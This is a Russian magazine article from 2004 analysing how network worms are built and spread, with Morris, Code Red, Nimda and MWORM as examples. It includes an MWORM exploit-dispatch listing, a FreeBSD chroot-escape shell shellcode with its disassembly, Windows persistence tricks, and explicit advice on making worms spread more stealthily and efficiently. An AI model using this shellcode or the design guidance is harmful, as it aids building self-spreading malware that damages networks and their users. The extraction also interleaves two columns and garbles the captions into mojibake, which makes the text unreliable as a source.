По причине этого и возникло желание поделиться неко- ные создания, блестяще описанные в «Дюне» и вызыва-
торой информацией о жизни вируса в компьютере, дабы ющие у читателей смесь страха с уважением, – они дей-
облегчить жизнь и вам, и многочисленным «пользовате- ствительно во многом похожи на одноименных обитате-
лям» ваших вирусов». лей кибернетического мира. И пока специалисты по ин-
Черви, если только в них не заложены деструктивные формационной безопасности ожесточенно спорят, явля-
возможности, не только вредны, но и полезны. Вирусы – ются ли черви одним из подклассов вирусных программ
это вообще юношеская болезнь всех или практически всех или же образуют вполне самостоятельную группу вредо-
программистов. Что ими движет? Желание навредить? носных «организмов», черви успели перепахать весь Ин-
Стремление самоутвердиться в чьих-то глазах? А может тернет и продолжают зарываться в него с бешеной скоро-
быть, простой познавательный интерес? Разумеется, если стью. Удалить же однажды зародившегося червя практи-
червь положил весь Интернет, его создатель должен от- чески невозможно. Забудьте о Черве Морриса! Сейчас не
ветить. Данная статья – не самоучитель по написанию то время, не те пропускные способности каналов и не та
червей. Скорее это детальный анализ ошибок, допущен- квалификация обслуживающего персонала. В далеких
ных вирусописателями. восьмидесятых с заразой удалось справиться лишь бла-
Я не призываю вас писать червей. Напротив, я призы- годаря небольшой (по современным меркам!) численнос-
ваю одуматься и не делать этого. Но если уж вам дей- ти узлов сети и централизованной организации структу-
ствительно невтерпеж, пишите тогда по крайней мере так, ры сетевого сообщества.

№2(15), февраль 2004 77


безопасность
А что мы имеем сейчас? Количество узлов сети вплот- Нора, прорытая вирусом в системе, обычно оказыва-
ную приближается к четырем миллиардам, причем подав- ется слишком узка, чтобы вместить всего червяка цели-
ляющим большинством узлом управляют совершенно ком. Ну разве что это будет совсем крохотный и прими-
безграмотные пользователи, и лишь незначительная часть тивный вирус, поскольку ширина типичной норы измеря-
сетевых ресурсов находится в руках администраторов, за- ется десятками или в лучшем случае сотнями байт. По-
частую являющихся все теми же безграмотными пользо- этому сначала на атакуемую машину проникает лишь не-
вателями, с трудом отличающими один протокол от дру- большая часть вируса, называемая головой или загруз-
гого и во всем полагающимися на Microsoft и NT, которые чиком, которая и подтягивает основное тело червя. Соб-
«все за них сделают». Что такое заплатки, некоторые из ственно говоря, голов у вируса может быть и несколько.
них, возможно, и знают, но до их установки дело, так или Так, достопочтенный вирус Морриса имел две головы,
иначе, сплошь и рядом не доходит. одна из которых пролезала через отладочный люк в
Можно до потери пульса проклинать Святого Билла и sendmail, а другая проедала дыру в finger, поэтому созда-
его корявое программное обеспечение, но проблема вов- валось обманчивое впечатление, что сеть атакуют два
се не в дырах, а в халатном отношении к безопасности и различных червя. Естественно, чем больше голов имеет
откровенном разгильдяйстве администраторов. Что ка- вирус, тем он жизнеспособнее. Современные черви в сво-
сается программистских ошибок, то в мире UNIX ситуа- ем подавляющем большинстве обладают одной-един-
ция обстоит ничуть не лучшим образом. Здесь тоже во- ственной головой, однако из этого правила случаются и
дятся черви, пускай не впечатляющие численностью сво- исключения. Так, при дизассемблерном вскрытии червя
их штаммов, зато отличающиеся большой изощреннос- Nimda (слово «admin», читаемое задом наперед) на его
тью и разнообразием. Здесь также случаются вспышки теле было обнаружено пять голов, атакующих клиентов
эпидемий, насчитывающие тысячи и даже десятки ты- электронной почты, shared-ресурсы, веб-браузеры, MS IIS-
сяч жертв (достаточно вспомнить червей Scalper и сервера и backdoor, оставленные вирусом Code Red. Та-
Slapper, поражающих Apache-сервера, вращающиеся под кие многоголовые монстры скорее напоминают сказочных
управлением FreeBSD и Linux соответственно). Конеч- драконов или гидр, поскольку червь с несколькими голо-
но, по сравнению с миллионами упавших Windows-сис- вами смотрится, прямо так скажем, жутковато, но… в ки-
тем эти цифры выглядят более чем умеренными, однако бернетическим мире свои законы.
легендарная защищенность (точнее, как раз-таки неза- Вирусный загрузчик (обычно отождествляемый с shell-
щищенность) UNIX тут совсем ни при чем. Просто UNIX- кодом, хотя это не всегда так) решает по меньшей мере
системы управляются намного более грамотными опе- три основные задачи: во-первых, он адаптирует свое тело
раторами, чем Windows NT. (и при необходимости основное тело червя) к анатоми-
Никто не гарантирован от вторжения и всемирная Сеть ческим особенностям организма жертвы, определяя ад-
действительно находится в большой опасности. Просто, реса необходимых ему системных вызовов, свой собствен-
по счастливому стечению обстоятельств, все предыдущие ный адрес размещения в памяти, текущий уровень при-
черви были довольно беззлобными созданиями, и ущерб вилегий и т. д. Во-вторых, загрузчик устанавливает один
от их размножения скорее носил косвенный, чем прямой или несколько каналов связи с внешним миром, необхо-
характер, но и в этом случае он измерялся многими мил- димых для транспортировки основного тела червя. Чаще
лионами долларов и долгими часами полного или частич- всего для этого используется TСP/IP-соединение, однако
ного полегания сети. У нас еще есть время на то, чтобы червь может воспользоваться услугами FTP- и/или POP3/
извлечь хороший урок из случившегося и кардинальным SMTP-протоколов, что особенно актуально для червей,
образом пересмотреть свое отношение к безопасности, пытающихся проникнуть в локальные сети, со всех сто-
поэтому не будем больше терять времени на бесполез- рон огороженные сплошной стеной Firewall. В-третьих,
ные философствования и приступим к стержневой теме загрузчик забрасывает хвост вируса на зараженный ком-
данной статьи. пьютер, передавая ему бразды правления. Для сокрытия
факта своего присутствия загрузчик может восстановить
Структурная анатомия червя разрушенные структуры данных, удерживая систему от
Те экземпляры червей, которые мы изучали, падения, а может поручить это основному телу червя.
заставили нас предполагать, что внутри них Выполнив свою миссию, загрузчик обычно погибает, по-
происходит сложный химический обмен. скольку включить в тело вируса копию загрузчика с ин-
Френк Херберт, «Дюна» женерной точки зрения намного проще, чем собирать ви-
Условимся называть червем компьютерную программу, рус по частям.
обладающую репродуктивными навыками и способную к Однажды получив управление, червь первым делом
самостоятельному перемещению по сети. Попросту гово- должен поглубже зарыться в грунт системы, втянув свой
ря, червь – это нечто такое, что приходит к вам само и длинный хвост внутрь какого-нибудь неприметного про-
захватывает управление машиной без каких-либо дей- цесса и/или файла. А зашифрованные (полиморфные)
ствий с вашей стороны. Для внедрения в заражаемую вирусы должны себя еще и расшифровать/распаковать
систему червь может использовать различные механиз- (если только эту операцию не выполнил за них загрузчик).
мы: дыры, слабые пароли, уязвимости базовых и приклад- Впрочем, червь может вести и кочевую жизнь, авто-
ных протоколов, открытые системы и человеческий фак- матически удаляя себя из системы по прошествии неко-
тор (см. «Механизмы распространения червей»). торого времени – это добавляет ему скрытности и значи-

78
безопасность
тельно уменьшает нагрузку на сеть. При условии, что по- запущенным исполняемым файлам? Выберете любой по-
ражаемый сервис обрабатывает каждое TCP/IP-соедине- нравившийся вам файл (пусть для определенности это бу-
ние в отдельном потоке (а в большинстве случаев дело дет iexplore.exe) и переименуйте его в iexplore.dll. При на-
обстоит именно так), червю будет достаточно выделить личии достаточно уровня привилегий (по умолчанию это
блок памяти, присвоить ему атрибут исполняемого и ско- привилегии администратора) операция переименования
пировать туда свое тело (напрямую перебросить хвост в завершается успешно, и активные копии Internet Explorer
адресное пространство потока жертвы нельзя, т.к. сегмент автоматически перенаправляются системой к новому име-
кода по умолчанию защищен от записи, а сегмент данных ни. Теперь создайте подложный iexplore.exe-файл, запи-
по умолчанию запрещает исполнение1, остается стек и сывающий какое-нибудь приветствие в системный жур-
куча; стек чаще всего исполняем по дефолту, а куча – нет, нал и загружающий оригинальный Internet Explorer. Разу-
и для установки атрибута Executable червю приходится меется, это только демонстрационная схема. В реальнос-
химичить с системными функциями менеджера виртуаль- ти все намного сложнее, но вместе с тем и… интереснее!
ной памяти). Если же голова червя получает управление Впрочем, мы отвлеклись. Вернемся к нашему вирусу, в
до того, как уязвимый сервис создаст новый поток или смысле к червю.
успеет расщепить процесс вызовом fork, червь должен Укрепившись в системе, червь переходит к самой
обязательно возвратить управление программе-носителю, главной фазе своей жизнедеятельности – фазе размно-
в противном случае та немедленно ляжет, и получится жения. При наличии полиморфного генератора вирус
самый натуральный DoS. При этом полный возврат управ- создает совершенно видоизмененную копию своего тела,
ления предполагает потерю власти над машиной, а зна- ну или, на худой конец, просто зашифровывает крити-
чит и смерть червя. Чтобы не уронить систему, но и не ческие сегменты своего тела. Отсутствие всех этих ме-
лишиться жизни самому, червь должен оставить свою ханизмов оставляет червя вполне боевым и жизнеспо-
резидентную копию или, в более общем случае, – моди- собным, однако существенно сужает ареал его распрос-
фицировать систему так, чтобы хотя бы изредка получать транения. Судите сами, незашифрованный вирус легко
управление. Это легко. Первое, не самое удачное, зато убивается любым сетевым фильтром, как-то брандмау-
элементарно реализуемое решение заключается в созда- эром или маршрутизатором. А вот против полиморфных
нии нового файла с последующим добавлением его в спи- червей адекватных средств борьбы до сих пор нет, и со-
сок автоматически запускаемых программ. Более изощрен- мнительно, чтобы они появились в обозримом будущем.
ные черви внедряют свое тело в подложную динамичес- Распознание полиморфного кода – эта не та операция,
кую библиотеку и размещают ее в текущем каталоге уяз- которая может быть осуществлена в реальном времени
вимого приложения (или просто в каталоге любого более на магистральных интернет-каналах. Соотношение про-
или менее часто запускаемого приложения). Еще червь пускной способности современных сетей к вычислитель-
может изменить порядок загрузки динамических библио- ной мощности современных же процессоров явно не в
тек или даже назначить существующим динамическим биб- пользу последних. И хотя ни один полиморфный червь
лиотекам подложные псевдонимы (в ОС семейства до сих пор не замечен в «живой природе», нет никаких
Windows за это отвечает следующий раздел реестра: гарантий, что такие вирусы не появятся и впредь. Ло-
HKLM\SYSTEM\CurrentControlSet\Control\Session Maneger\ кальных полиморфных вирусов на платформе Intel IA-32
KnownDLLs). Сильно извращенные черви могут регистри- известен добрый десяток (речь идет о подлинном поли-
ровать в системе свои ловушки (hocks), модифицировать морфизме, а не тривиальном замусоривании кода незна-
таблицу импорта процесса-носителя, вставлять в кодовый чащими машинными командами и иже с ними), как гово-
сегмент команду перехода на свое тело (разумеется, пред- рится, выбирай не хочу.
варительно присвоив ему атрибут Writable), сканировать Но какой бы алгоритм червь ни использовал для свое-
память в поисках таблиц виртуальных функций и моди- го размножения, новорожденные экземпляры покидают
фицировать их по своему усмотрению (внимание: в мире родительское гнездо и расползаются по соседним маши-
UNIX большинство таблиц виртуальных функций распо- нам, если, конечно, им удастся эти самые машины найти.
лагаются в области памяти, доступной лишь на чтение, Существует несколько независимых стратегий распрост-
но не на запись). ранения, среди которых в первую очередь следует выде-
Короче говоря, возможных путей здесь не по-детски лить импорт данных из адресной книги Outlook Express или
много, и затеряться в гуще системных, исполняемых и аналогичного почтового клиента, просмотр локальных
конфигурационных файлов червю ничего не стоит. Попут- файлов жертвы на предмет поиска сетевых адресов, ска-
но отметим, что только самые примитивные из червей нирование IP-адресов текущей подсети и генерация слу-
могут позволить себе роскошь создания нового процес- чайного IP-адреса. Чтобы не парализовать сеть чрезмер-
са, красноречиво свидетельствующего о наличии посто- ной активностью и не отрезать себе пути к распростране-
ронних. Печально известный Love San, кстати, относится нию, вирус должен использовать пропускные способнос-
именно к этому классу. Между тем, используя межпро- ти захваченных им информационных каналов максимум
цессорные средства взаимодействия, внедриться в адрес- наполовину, а лучше десятую или даже сотую часть. Чем
ное пространство чужого процесса ничего не стоит, рав- меньший вред вирус наносит сетевому сообществу, тем
но как ничего не стоит заразить любой исполняемый файл, позже он оказывается обнаруженным и тем с меньшей
в том числе и ядро системы. Кто там говорит, что опера- поспешностью администраторы устанавливают соответ-
ционные системы класса Windows NT блокируют доступ к ствующие обновления.

№2(15), февраль 2004 79


безопасность
Установив соединение с предполагаемой жертвой, {
червь должен убедиться в наличии необходимой ему вер- pthread_mutex_lock(&ndone_mutex);
wuftp260_vuln(sock, ↵
сии программного обеспечения и проверить, нет ли на inet_ntoa(sin.sin_addr), ↵
этой системе другого червя. В простейшем случае иден- Iptr);
pthread_mutex_unlock(&ndone_mutex);
тификация осуществляется через рукопожатие. Жертве } break;
посылается определенное ключевое слово, внешне выг- case 111: //rpc hole
лядящее как безобидный сетевой запрос. Червь, если if (Handle_Port_STATUS(sock, ↵
он только там есть, перехватывает пакет, возвращая inet_ntoa(sin.sin_addr),Iptr))
{
инициатору обмена другое ключевое слово, отличное от pthread_mutex_lock(&ndone_mutex);
стандартного ответа незараженного сервера. Механизм // rpcSTATUS_vuln(inet_ntoa ↵
(sin.sin_addr), Iptr);
рукопожатия – это слабейшее звено обороны червя, ко- pthread_mutex_unlock(&ndone_mutex);
нечно, при условии, что червь безоговорочно доверяет } break;
своему удаленному собрату. А вдруг это никакой не со- case 53: //linux bind hole
брат, а его имитатор? Это обстоятельство очень беспо- // Check_Linux86_Bind(sock, ↵
inet_ntoa(sin.sin_addr), ↵
коило Роберта Морриса, и для борьбы с возможными Iptr->h_network);
имитаторами червь был снабжен механизмом, который break;
по замыслу должен был в одном из семи случаев игно- case 515: //linux lpd hole
рировать признак червя, повторно внедрясь в уже зах- // Get_OS_Type(Iptr->h_network, ↵
inet_ntoa(sin.sin_addr));
ваченную машину. Однако выбранный коэффициент ока- // Check_lpd(sock,inet_ntoa ↵
зался чересчур параноическим, и уязвимые узлы инфи- (sin.sin_addr),Iptr->h_network);
break;
цировались многократно, буквально киша червями, съе-
дающими все процессорное время и всю пропускную default: break;
}
способность сетевых каналов. В конечном счете, вирус-
ная атака захлебнулась сама собой, и дальнейшее рас- Ëèñòèíã 2. Îäíà èç ãîëîâ ÷åðâÿ è åå äèçàññåìáëåðíûé ëèñòèíã
íèæå
пространение червя стало невозможным.
Чтобы этого не произошло, всякий червь должен иметь /* break chroot and exec /bin/sh - dont use on an unbreakable
host like 4.0 */
внутренний счетчик, уменьшающийся при каждом успеш- unsigned char x86_fbsd_shell_chroot[] =
ном расщеплении и при достижении нуля подрывающий "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80"
"\x31\xc0\x99"
червя изнутри. Так или приблизительно так устроен лю- "\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd"
бой живой организм, в противном случае нашей биосфе- "\x80\x54\x6a\x3d\x58\xcd\x80\x66\x68\x2e\x2e\x88\x54"
"\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53"
ре давно бы наступил конец. А сеть Интернет как раз и "\x53\xcd\x80\xe2\xf7\x88\x54\x24\x01\x54\x6a\x3d\x58"
представляет собой великолепную модель биосферы в "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\x52\x51\x53\x53"
натуральную величину. Поэтому, хотим ли мы того или "\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80";
нет, – программный код должен подчиняться объективным Ëèñòèíã 3. Äèçàññåìáëåðíûé ëèñòèíã îäíîé èç ãîëîâ ÷åðâÿ MWORM
законам природы, не пытаясь идти ей наперекор. Это все
равно бесполезно. .data:0804F7E0 x86_fbsd_shell_chroot:
.data:0804F7E0 xor eax, eax
Кстати говоря, анатомическая схема червя, описанная .data:0804F7E2 push eax
выше, не является ни общепринятой, ни единственной. Мы .data:0804F7E3 push eax
.data:0804F7E4 push eax
выделили в черве два основных компонента – голову и .data:0804F7E5 mov al, 7Eh
хвост. Другие же исследователи склонны рассматривать ; LINUX - sys_sigprocmask
.data:0804F7E7 int 80h
червя как организм, состоящий из пасти, именуемой не- .data:0804F7E9 xor eax, eax
переводимым термином enabling exploit code (отпирающий .data:0804F7EB cdq
.data:0804F7EC push 68h
эксплоитный код); механизма распространения .data:0804F7EE mov ebx, esp
(propagation mechanism) и полезной нагрузки (payload), .data:0804F7F0 push eax
.data:0804F7F1 push ebx
ответственной за выполнение тех или иных деструктив- .data:0804F7F2 push ebx
ных действий. Принципиальной разницы между различ- .data:0804F7F3 mov al, 88h
; LINUX - sys_personality
ными изображениями червя, разумеется, нет, но вот тер- .data:0804F7F5 int 80h
минологической путаницы предостаточно. .data:0804F7F7 push esp
.data:0804F7F8 push 3Dh
.data:0804F7FA pop eax
Ëèñòèíã 1. Ïÿòü ãîëîâ ÷åðâÿ MWORM, ïîðàæàþùèå ìíîæåñòâî óÿç- ; LINUX - sys_chroot
âèìûõ ñåðâèñîâ. Ïåðåä íàìè «øåÿ» ÷åðâÿ, êîòîðàÿ, ñîáñòâåí- .data:0804F7FB int 80h
íî, âñå ýòè ãîëîâû è äåðæèò, ñîâåðøàþùàÿ èìè âðàùàòåëüíûå .data:0804F7FD push small 2E2Eh
äâèæåíèÿ è ïðè íåîáõîäèìîñòè èçðûãàþùàÿ îãîíü è ïëàìÿ... .data:0804F801 mov [esp+2], dl
.data:0804F805 mov ebx, esp
switch(Iptr->h_port) .data:0804F807 push 0Ch
{ .data:0804F809 pop ecx
case 80: //web hole .data:0804F80A mov ebx, esp
Handle_Port_80(sock, ↵ .data:0804F80C
inet_ntoa(sin.sin_addr),Iptr); ; CODE XREF: .data:0804F813 j
break; .data:0804F80C loc_804F80C:
.data:0804F80C push 0Ch
case 21: // ftp hole .data:0804F80E pop eax
if (Handle_Port_21(sock, ↵ .data:0804F80F push ebx
inet_ntoa(sin.sin_addr),Iptr)) .data:0804F810 push ebx

80
безопасность
; LINUX - sys_chdir рост численности популяции будет носить линейный ха-
.data:0804F811 int 80h рактер, продолжающийся до тех пор, пока загрузка сис-
.data:0804F813 loop loc_804F80C
.data:0804F815 mov [esp+1], dl темы не превысит некоторую критическую величину, пос-
.data:0804F819 push esp ле которой скорость размножения вируса начнет неуклон-
.data:0804F81A push 3Dh
.data:0804F81C pop eax но падать. В конце концов вирус сожрет все процессор-
; LINUX - sys_chroot ные ресурсы, всю оперативную и всю дисковую память,
.data:0804F81D int 80h
.data:0804F81F push edx после чего система окончательно встанет и процесс раз-
.data:0804F820 push 68732F6Eh множения прекратится. Впрочем, на практике до этого
.data:0804F825 inc esp
.data:0804F826 push 6E69622Fh дело обычно не доходит, и владелец компьютера спохва-
.data:0804F82B mov ebx, esp тывается куда раньше.
.data:0804F82D push edx
.data:0804F82E mov edx, esp Период, протекающий от момента первого заражения
.data:0804F830 push ebx до момента обнаружения вируса по нетипичной активно-
.data:0804F831 mov ecx, esp
.data:0804F833 push edx сти системы, условимся называть латентным периодом
.data:0804F834 push ecx размножения червя. Чем большее количество узлов бу-
.data:0804F835 push ebx
.data:0804F836 push ebx дет заражено в течение этого времени, тем большие шан-
.data:0804F837 push 3Bh сы на выживание имеет червь. Выбор правильной стра-
.data:0804F839 pop eax
; LINUX - sys_olduname тегии размножения на самом деле очень важен. Причина
.data:0804F83A int 80h вымирания большинства червей как раз и заключается в
.data:0804F83C xor eax, eax
.data:0804F83E inc al непродуманном размножении. Чаще всего исходный червь
; LINUX - sys_exit расщепляется на два. Два новых червя, готовых к даль-
.data:0804F840 int 80h
нейшему размножению. В следующем поколении этих
червей будет уже четыре, затем восемь, потом шестнад-
Борьба за территорию на выживание цать, тридцать два и так далее по возрастающей… На-
– Какой величины территорию должен глядной физической демонстрацией этого процесса слу-
контролировать каждый червь? жит атомная бомба. И в том, и в другом случае мы имеем
– Это зависит от размеров червя. дело с цепной реакцией, отличительной особенностью
Френк Херберт, «Дюна» которой служит ее взрывной характер. На первых порах
Жизнь червя – это непрерывная борьба за свое существо- увеличение численности вирусной популяции происходит
вание. Однажды попав в Интернет, червь сталкивается с так медленно, что им можно полностью пренебречь, но
проблемами захвата системных ресурсов (пропитания), ос- при достижении некоторой критической массы происхо-
воения новых территорий (поиска подходящих узлов для дит своеобразный взрыв, и дальнейшее размножение
заражения), обороны от хищников и прочих «млекопитаю- протекает лавинообразно. Через короткий отрезок вре-
щих» (брандмауэров, антивирусов, администраторов и т. д.), мени – дни или даже считанные часы – червь поражает
попутно решая задачу внутривидовой конкуренции. В этой практически все уязвимые узлы сети, после чего его су-
агрессивной среде выживает лишь хорошо продуманный и ществование становится бессмысленным, и он умирает,
тщательно спроектированный высокоинтеллектуальный код. раздавленный руками недобрых администраторов, разбу-
Подавляющее большинство червей умирает вскоре после женных часов эдак в пять утра (а черви, в силу всепла-
рождения, и лишь считанным вирусам удается вспыхнуть нетной организации Интернет, имеют тенденцию совер-
крупной эпидемией. Почему? Из школьного курса биологии шать атаки в самое неудобное с физиологической точки
нам известно, что безудержный рост численности любой зрения время).
популяции всегда заканчивается ее гибелью, ведь питатель- При условии, что выбор IP-адреса заражаемой жерт-
ные ресурсы отнюдь не безграничны. Предел численности вы происходит по более или менее случайному закону (а
червей естественным образом регулируется пропускной спо- большинство червей распространяются именно так), по
собностью интернет-каналов, емкостью оперативной/диско- мере насыщения сети червем скорость его распростра-
вой памяти и быстродействием процессоров. нения будет неуклонно снижаться и вовсе не потому, что
Влияние фактора скорости размножения на жизнеспо- магистральные каналы окажутся перегруженными! Попро-
собность вируса исследовалось еще в пионерских рабо- буйте сгенерировать последовательность случайных байт
тах Ральфа Бургера. Уже тогда было ясно, что в принципе и подсчитайте количество шагов, требующихся для пол-
вирус может заразить все файлы локальной машины за ного покрытия всей области от 00h до FFh. Очевидно, что
один присест (про сетевых червей, в силу отсутствия пос- за 100h шагов осуществить задуманное нам ни за что не
ледних, речь тогда попросту не шла), однако это сделало удастся. Если только вы не будете жульничать, одни и те
бы факт заражения слишком заметным, и тогда судьба же байты будут выпадать многократно, в то время как
вируса оказалась бы предрешена (паническое формати- другие останутся не выпавшими ни разу! И чем больше
рование жесткого диска «на низком уровне», полная пе- байт будет покрыто, тем чаще станут встречаться повтор-
реустановка всего программного обеспечения, ну, в об- ные выпадения! Аналогичным образом дело обстоит и с
щем, вы меня понимаете). Кроме того, на чувственном размножением вируса. На финальной стадии размноже-
уровне такой вирус попросту неинтересен. ния полчища червей все чаще будут стучаться в уже зах-
Рассмотрим крайний случай. Пусть наш вирус совер- ваченные компьютеры, и гигабайты сгенерированного ими
шает единственный акт заражения в своей жизни. Тогда трафика окажутся сгенерированными впустую.

№2(15), февраль 2004 81


безопасность

Механизмы распространения червей


Дырами принято называть логические ошибки в про- ченных финансов содержать более или менее квали-
граммном обеспечении, в результате которых жертва фицированного администратора они не могут и о необ-
приобретает возможность интерпретировать исходные ходимости выбора надежных паролей, судя по всему,
данные как исполняемый код. Наиболее часто встреча- даже и не догадываются (а может быть, просто ленят-
ются дыры двух следующих типов: ошибки переполне- ся – кто знает).
ния буфера (buffer overflow) и ошибки фильтрации интер- Первым (а на сегодняшний день и последним) чер-
поляционных символов или символов-спецификаторов. вем, использующим механизм подбора паролей, был и
И хотя теоретики от безопасности упорно отмахива- остается Вирус Морриса, удачно комбинирующий словар-
ются от дыр как от досадных случайностей, нарушаю- ную атаку с серией типовых трансформаций имени жер-
щих стройность воздушных замков абстрактных защит- твы (исходное имя пользователя, удвоенное имя пользо-
ных систем, даже поверхностный анализ ситуации по- вателя, имя пользователя, записанное задом наперед,
казывает, что ошибки проектирования и реализации имя пользователя, набранное в верхнем/нижнем регист-
носят сугубо закономерный характер, удачно обыгран- ре и т. д.). И эта стратегия успешно сработала!
ный хакерами в пословице: «Программ без ошибок не Червь Nimda использует намного более примитив-
бывает. Бывает – плохо искали». Особенно коварны ный механизм распространения, проникая лишь в не-
ошибки переполнения, вызываемые (или даже можно запароленные системы, что удерживает его от безудер-
сказать – провоцируемые) идеологией господствующих жного распространения, поскольку пустые пароли за-
языков и парадигм программирования. Подробнее об нимают незначительный процент от всех слабых паро-
этом мы поговорим в следующей статье этого цикла; лей вообще.
пока же отметим, что ни одна коммерческая програм- Конечно, со времен Морриса многое изменилось, и в
ма, насчитывающая более десяти-ста тысяч строк ис- мире наблюдается тенденция к усложнению паролей и
ходного текста, не смогла избежать ошибок перепол- выбору случайных, бессмысленных последовательнос-
нения. Через ошибки переполнения распространялись тей. Но вместе с этим растет и число пользователей, –
Червь Морриса, Linux.Ramen, MWorm, Code Red, администраторы оказываются просто не в состоянии за
Slapper, Slammer, Love San и огромное множество ос- всеми уследить и проконтролировать правильность вы-
тальных менее известных вирусов. бора пароля. Поэтому атака по словарю по-прежнему ос-
Список свежих дыр регулярно публикуется на ряде тается актуальной угрозой.
сайтов, посвященных информационной безопасности Открытые системы: открытыми мы будем называть
(крупнейший из которых – www.bugtraq.org) и на веб- такие системы, которые беспрепятственно позволяют
страничках отдельных хакеров. Заплатки на дыры обыч- всем желающим исполнять на сервере свой собствен-
но выходят спустя неделю или даже месяц после появ- ный код. К этой категории преимущественно относятся
ления открытых публикаций, однако в некоторых слу- службы бесплатного хостинга, предоставляющие telnet,
чаях выход заплатки опережает публикацию, т.к. пра- perl и возможность установки исходящих TCP-соедине-
вила хорошего тона диктуют воздерживаться от распро- ний. Существует гипотетический вирус, который пора-
странения информации вплоть до того, пока противо- жает такие системы одну за одной и использует их в ка-
ядие не будет найдено. Разумеется, вирусописатели честве плацдарма для атаки на другие системы.
ведут поиск дыр и самостоятельно, однако за все вре- В отличие от узлов, защищенных слабыми (отсутству-
мя существования Интернета ни одной дыры ими най- ющими) паролями, владелец открытой системы умыш-
дено не было. ленно предоставляет всем желающим свободный дос-
Слабые пароли – это настоящий бич всякой систе- туп, пускай и требующий ручной регистрации, которую,
мы безопасности. Помните анекдот: «Скажи пароль! кстати сказать, можно и автоматизировать. Впрочем, ни
Пароль!»? Шутки шутками, но пароль типа «password» один из известных науке червей не использует этого ме-
не так уж и оригинален. Сколько пользователей дове- ханизма, поэтому дальнейший разговор представляется
ряют защиту системы популярным словарным словам совершенно беспредметным.
(в стиле Супер-Ниндзя, Шварценеггер-Разбушевался и Человеческий фактор: о пресловутом человеческом
Шварценеггер-Продолжает-Бушевать) или выбирают факторе можно говорить много. Но не буду. Это вообще
пароль, представляющий собой слегка модифицирован- не техническая, а сугубо организационная проблема. Как
ный логин (например, логин с одной-двумя цифрами на бы не старалась Microsoft и конкурирующие с нею ком-
конце)? Про короткие пароли, пароли, состоящие из пании защитить пользователя от себя самого, не урезав
одних цифр, и пароли, полностью совпадающие с логи- при этом функциональность системы до уровня бытово-
ном, мы вообще умолчим. А ведь немалое количество го видеомагнитофона, еще никому это не удалось. И ни-
систем вообще не имеют никакого пароля! Существу- когда не удастся. Паскаль, известный тем, что не позво-
ют даже специальные программы для поиска открытых ляет вам выстрелить себе в ногу, значительно уступает
(или слабо защищенных) сетевых ресурсов, львиная по популярности языкам Си и Си++, тем, которые отстре-
доля которых приходится на локальные сети мелких ливают вам обе ноги вместе с головой в придачу, даже
фирм и государственных организаций. В силу ограни- когда вы этого не планировали.

82
безопасность
Для решения этой проблемы Червь Морриса исполь- популяции вируса. При желании процесс расползания
зовал несколько независимых механизмов. вируса по всемирной сети можно увидеть и в динами-
Во-первых, из каждой зараженной машины он извле- ке – www.caida.org/analysis/security/code-red/newframes-
кал список доверенных узлов, содержащихся в файлах small-log.mov. Там же, на странице http://www.caida.org/
/etc/hosts.equiv и /.rhosts, а также файлы .forward, содер- analysis/security/code-red/coderedv2_analysis.xml, содер-
жащие адреса электронной почты. То есть целевые ад- жится текст, комментирующий происходящее зрелище.
реса уже не были случайными – это раз. Отпадало боль- А зрелище и впрямь получилось впечатляющим и… по-
шое количество несуществующих узлов – это два. Коли- учительным. Всем, особенно разработчикам вирусов,
чество попыток повторного инфицирования сводилось к настоятельно рекомендую посмотреть. Быть может это
разумному минимуму – и это три. Подобную тактику ис- научит кое-кого не ронять сеть своим очередным…
пользуют многие почтовые черви, обращающиеся к ад- ммм… творением.
ресной книге Outlook Express. И эта тактика очень не-
плохо работает!
На сайте корпорации Symantec имеется любопытная
утилита – VBSim (Virus and Worm Simulation System), вы-
полняющая сравнительный анализ эффективности чер-
вей различных типов.
Во-вторых, различные экземпляры Червя Морриса
периодически обменивались друг с другом списком уже
зараженных узлов, ходить на которые не нужно.
Конечно, наличие каких бы то ни было средств меж-
вирусной синхронизации существенно увеличивает се-
тевой трафик, однако если к этому вопросу подойти с
умом, то перегрузку сети можно легко предотвратить.
Заразив все уязвимые узлы, червь впадет в глубокую
спячку, уменьшая свою активность до минимума. Мож-
но пойти и дальше, выделив каждому из червей опре-
деленное пространство IP-адресов для заражения, ав-
томатически наследуемое новорожденным потомством.
Тогда процесс заражения сети займет рекордно корот-
кое время, и при этом ни один из IP-адресов не будет
проверен дважды. Исчерпав запас IP-адресов, червь
обратит свои внутренние счетчики в исходное положе-
ние, вызывая вторую волну заражения. Часть ранее ин-
фицированных узлов к этому моменту уже будет исце-
лена (но не залатана), а часть может быть инфициро-
вана повторно.
Как бы там ни было, грамотно спроектированный
червь вызывать перегрузку сети не должен, и лишь до-
садные программистские ошибки мешают привести этот
план в исполнение. Внешне такой червь может показать-
ся вполне безопасным, и подавляющее большинство ад-
министраторов скорее всего проигнорируют сообщения
об угрозе (ибо негласное правило предписывает не тро-
Ðèñóíîê 3. Çàâèñèìîñòü óäåëüíîé ñêîðîñòè ðàñïðîñòðàíåíèÿ
гать систему, пока она работает). Дыры останутся не- ÷åðâÿ îò âðåìåíè. Ñíà÷àëà ÷åðâü ðàçìíîæàëñÿ êðàéíå ìåä-
залатанными и… в один прекрасный момент всемир- ëåííî, ìîæíî äàæå ñêàçàòü ëåíèâî. Âïðî÷åì, íà ïîðàæåíèå
êëþ÷åâûõ íåðâíûõ öåíòðîâ ñåòè ó âèðóñà óøëî âñåãî íå-
ная сеть рухнет. ñêîëüêî ÷àñîâ, ïî èñòå÷åíèè êîòîðûõ îí óñïåë îêêóïèðîâàòü
В этом свете весьма показателен процесс распрост- ïðàêòè÷åñêè âñå ðàçâèòûå ñòðàíû ìèðà. Íàãðóçêà íà ñåòü
ñòðåìèòåëüíî ðîñëà, îäíàêî ïðîâàéäåðû ñ ýòèì åùå ñïðàâëÿ-
ранения вируса Code Red, в пике своей эпидемии зара- ëèñü. Ïðèáëèçèòåëüíî ÷åðåç 12 ÷àñîâ, êîãäà ÷åðâü âñòóïèë
зившего свыше 359 000 узлов в течении 24 часов. Как âî âçðûâíóþ ñòàäèþ ñâîåãî ðàçìíîæåíèÿ, îáúåì ïåðåêà÷èâà-
